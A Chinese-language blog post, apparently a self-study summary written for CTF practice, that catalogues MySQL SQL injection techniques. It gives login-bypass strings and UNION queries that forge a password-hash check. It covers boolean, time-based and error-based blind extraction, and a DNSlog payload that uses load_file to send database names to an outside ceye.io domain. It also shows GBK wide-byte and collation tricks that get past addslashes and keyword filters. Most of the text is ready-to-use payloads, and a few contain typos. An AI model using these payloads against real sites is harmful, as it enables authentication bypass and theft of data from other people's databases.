1. 程式人生 > >sql注入總結(一)--2018自我整理

sql注入總結(一)--2018自我整理

SQL注入總結

前言:

本文和之後的總結都是進行總結,詳細實現過程細節可能不會寫出來~

所有sql語句均是mysql資料庫的,其他資料庫可能有些函式不同,但是方法大致相同

 

0x00 SQL注入原理:

SQL注入實質上是將使用者傳入的引數沒有進行嚴格的處理拼接sql語句的執行字串中。

可能存在注入的地方有:登陸頁面,搜尋,獲取HTTP頭的資訊(client-ip , x-forward-of),訂單處理(二次注入)等

注入的引數型別:POST, GET, COOKIES, SERVER 其實只要值傳到資料庫的執行語句那麼就可能存在sql注入。

注入方法:union聯合查詢,延遲注入,布林型回顯判斷注入,將內容輸出到DNSlog

 

0x01 SQL注意一般方法:

正常查詢語句如下

mysql_query(" select username,age from userinfo where id='$_GET['id']' ");

萬能密碼

' or '1'='1        //完整語句 select username,age from userinfo where id='' or '1'='1'
' or 1=1#         //完整語句 select username,age from userinfo where id='' or 1=1#'
'=0#            //完整語句 select username,age from userinfo where id=''=0#

使用union進行聯合查詢

xx' union select 1,(select database()) #
xx' union select (select database()),2 or '      //這裡如果把查詢語句放到2的位置上,因為or的關係會不能顯示正常查詢的內容

這個結果是在輸出列為我們可控的 database()和'2'這2個值,那麼如果登入頁面的驗證邏輯是如下形式

$result = mysql_query(" select username,password from userinfo where id='$_GET['username']' ");
if(md5($_GET['password']) === $result['password']){
  echo "登入成功";
}
else{
  echo "登入失敗";
}

 我們便可以通過下來方法構造來繞過使用者名稱和密碼

賬戶:xx' union select 1,'c81e728d9d4c2f636f067f89cc14862c' #      //c81e728d9d4c2f636f067f89cc14862c是2的md5值
密碼:2

使用bool回顯判斷注入

substr(str,start,long)

  str是待切分的字串,start是切分起始位置(下標從1開始),long是切分長度

if(exp1,exp2,exp3)

  如果滿足exp1,那麼執行exp2,否則執行exp3

注入語句

xx' or if((substr((select database()),1,1)='c'),1,0) #    //判斷資料庫第一個字元是否為c

那麼查詢第二個字元可以用下列方法

xx' or if((substr((select database()),1,2)='ct'),1,0) #    
xx' or if((substr((select database()),2,1)='t'),1,0) #    

假設 , (逗號)被過濾了,可以用如下方式處理

 if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end

 substr(exp1, 1, 1) => substr(exp1) from 1 for 1

xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #

假設substr被過濾了,可以用如下方式處理

LOCATE(substr,str,pos)

  返回子串 substr 在字串 str 中的第 pos 位置後第一次出現的位置。如果 substr 不在 str 中返回 0

  ps:因為mysql對大小寫不敏感,所有寫的時候用 locate(binary'S', str, 1) 加個binary即可

xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #

使用延遲注入

在輸入無論正確的sql語句還是錯誤的sql語句頁面都一樣的情況下可以使用該方法進行判斷是否成功

延時注入的本質是執行成功後延時幾秒後再回顯,反之不會延時直接回顯

還是利用if來判斷結果正確與否,只是返回值用延時來代替1

方法:sleep,benchmark, 笛卡爾積等(其他的我還是太菜不太會用)

基於sleep的延遲 
xx' or if
(length((select database()))>1,sleep(5),1) #
基於笛卡爾乘積運算時間造成的時間延遲 xx' or if
(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #

基於benchmark的延遲
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概會用2S時間

benchmark和笛卡爾積的原理實質上是運算時間過長導致的延遲

使用DNSlog進行資料回顯

原理網上很多文章都有,這裡稍微總結下使用技巧

load_file()

  讀取檔案並返回檔案內容為字串。

這裡先在ceye.io上註冊個賬號看看自己的子域名就行

xx'or if(length((select database()))>1,(select load_file(concat('\\\\',(select database()),'.你賬號的子域名.ceye.io\\a'))),1) # 

只要能夠寫select的地方,並且能夠呼叫load_file函式就能執行

報錯注入

報錯注入前提是在後端程式碼有Exception這種異常處理的回顯才能在web中用,不然即使能報錯但是你不知道報錯內容

報錯注入函式很多,這裡就介紹兩種

xx' and (updatexml(1,concat(1,(select database()),1),1))    # 用 or連線也行
xx' and (extractvalue(1,concat(1,(select database()),1)))   # 用 or連線也行

 

0x02 SQL注入的技巧:

該小結的例句還是以0x01節的原始查詢語句相同

mid切割字串

常常會出現回顯字串長度的限制,我們可以用mid來切割

mid(str, start[, length])

  str為待切割的字串,start為從第幾個位置開始,length(沒有則返回後面所有)為切割長度

xxx' union select (mid((select database()),1,2))

在寫到這時,發現mid和substr作用很像,自己測試也一下可以在有時"代替"substr進行bool型判斷

xx' or if(mid((select database()),2,1)='t',1,0) #

hex編碼與字串

字串在某種意義上是和它的hex值等價的,舉個栗子

select * from admin where id = '1'    <===>  select * from admin where id = 0x31

在"好不容易"逃逸第一個 '(單引號)後,後面的有會有查詢關鍵字需要單引號會破壞sql語句結構時候用

或者一些關鍵字被過濾了,但是又會出現在查詢裡面

能夠被hex編碼的內容必須是字串,即'(被單引號括起來)'的內容。關鍵字是不能被編碼的

利用group_concat連線多行

 有些時候返回值只能顯示一行內容,這時候有2種辦法

用limit一行一行的執行

用group_concat將內容連在一行一併輸出

可見group_concat比limit要方便一點,使用方法

xx' union select 1,2,(select group_concat(name,id) from admin) #

它輸出格式是每個元組用逗號隔開的(我這裡email是我在做其他測試時候瞎填的)

利用like和regexp來進行匹配

 like後面能進行模糊匹配,關鍵字內容為

%    => 匹配任意個字串

_     => 匹配一個字元

但是存在前提,被匹配的字元可以是select查詢語句,可以是該表內的欄位,可以是返回為字串的函式比如database()

xx' or database() like 'c%' #
xx' or database() like 'ct_' #
xx' or name like 'siji%' #
xx' or (select dd from uesrinfo) like 'h%' #

在某種程度上regexp和like的效果差不多,但是它是支援正則表示式

xx' or database() like '^c.f$' #

 但是這樣不方便,測試一下後發現可以用這個方法逐個匹配

xx' or name regexp '^s$*'
xx' or name regexp '^si$*'

mysql的GBK導致的寬位元組注入

因為gbk是2個位元組為一個編碼,而我們如果把字元用url編碼後%xx是一個位元組,%xx%xx才表示一個gbk編碼。在post或者get傳參的時候會自動進行一次url解碼

常見的過濾為addslashes(str)會把 ' 轉義為 \' 導致注入失敗

那麼在寬位元組注入的時候

xx' union select 1,2,database() #     //是會被攔截的
xx%df' union select 1,2,datbase() #    //款位元組注入,會把\'組合在一起

這個是還沒進資料庫前的樣子,因為web頁面解析用的utf-8所以達到了這個效果。而實際進入資料庫是這樣的,看看日誌(該檔案編碼是utf-8)

將檔案用gbk編碼形式開啟

無論設定沒有設定gbk傳進去的字元樣子沒啥變化,但是內部處理機制發生了變化。總而言之gbk把 β\ 當成一個字元,而不是gbk模式下 β \ 是被當成2個字元

mysql關於utf-8編碼問題

如果資料庫是utf-8編碼的情況下,常常會在PHP程式碼層用無視大小寫的字母waf,那麼utf-8的

是無法像GBK用寬位元組繞過 ' ,但是在資料庫中utf-8分為2種校對模式

utf8_unicode_ci

該模式會把特殊字母轉換成2個正規英文,例如ß=ss

utf8_general_ci

該模式會把特殊字元轉換成1個正規英文,例如Ä = A,Ö = O,Ü = U

比如是utf8_general_ci模式,下面是$sql1會被攔截,而$sql2不會被攔截

$sql1 = select * from admin where id = 'xx' union select 1,2,database() #
$sql2 = select * from admin where id = 'xx' uniÖn select 1,2,database() #
if(preg_match('/union/i',$sql1) > 0){
  echo 'waf';
}
else{
  執行sql語句
}
if(preg_match('/union/i',$sql2) > 0){
  echo 'waf';
}
else{
  執行sql語句
}

 

0xff結語:

這章就先把基礎的和ctf中遇到的姿勢寫了寫,sql注入還會寫關於二次注入,簡要的python指令碼心得和點bypass總結